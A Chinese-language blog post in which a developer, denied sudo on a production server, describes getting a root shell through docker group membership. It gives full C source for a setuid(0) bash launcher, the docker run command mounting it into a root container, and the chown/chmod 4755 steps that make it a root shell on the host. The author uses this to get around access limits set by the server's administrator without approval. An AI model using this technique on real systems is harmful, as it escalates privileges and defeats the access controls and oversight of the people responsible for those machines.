通过 docker 容器获取 root shell

基本情况是这样的:
今天把应用商店后端布署到线上服务器, 本来是由运维来做的, 但是他事情比较多, 又是远程的,
沟通一次, 要等待很久. 后来在导入数据时, MariaDB 一直无法正常连接. 催了他几次,
也没找到解决的方法. 后来我就要求给我一个 ssh, 我自己来做. 但是, 给我的帐号, 并不属于
sudo 组的, 这样的话几乎做不了什么事儿. 之后我就要求把之前的帐号加入到 docker
组里, 这样至少可以下载/更新 docker 镜像并管理 docker 上面运行的任务了.

但是, nginx 的配置是需要 root 权限才可以修改的, 后端服务的配置目录属于 www-data,
我也无权修改(需要改一下内部服务器监听的端口).

刚开始是我要改哪一个地方, 先在 bearychat 里面跟他沟通一下, 由他来操作, 可是这
仍然回到了之前的状态, 效率太低.

在挂载 docker volume 时, 想到了一个主意, 可以使用 setuid 来提权, 这种提权方式
很久之前就广为人知了. 大致操作过程时:

先创建一个调用 setuid 的可执行文件

// Copyright (c) 2018 Xu Shaohua <xushaohua2016@outlook.com>.
// All rights reserved.
// Use of this source is governed by General Public License that can be found
// in the LICENSE file.

// Run bash with setuid

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

int main(void) {
  if (setuid(0) != 0) {
    perror("setuid(0)");
    exit(EXIT_FAILURE);
  }
  if (setgid(0) != 0) {
    perror("setgid(0)");
    exit(EXIT_FAILURE);
  }

  const char kBashFile[] = "/bin/bash";
  char* const kArgs[] = {
    NULL,
    NULL,
  };
  char* const kEnv[] = {
    "PATH=/sbin:/bin:/usr/sbin:/usr/bin",
    NULL,
  };

  if (execve(kBashFile,  kArgs, kEnv) == -1) {
    perror("execve()");
  }

  exit(EXIT_FAILURE);
}

然后编译一下: $ gcc -o shell shell.c

以 root 用户启动一个 docker 服务

比如:

$ docker run -it -v /path/to/shell:/bin/shell -u root:root mariadb /bin/bash

当进入 root 终端后, 修改一下 /bin/shell 的权限:

# chown root:root /bin/shell
# chmod 4755 /bin/shell

退出 root 终端. 记得把刚刚的 docker 服务清除:

$ docker rm xxxx

在宿主系统中, 执行 shell

先查看一下 shell 的权限, 没有问题的话, 应该就是 4755.
之后就可以运行它了, 然后就得到了 root shell.

发表评论

电子邮件地址不会被公开。 必填项已用*标注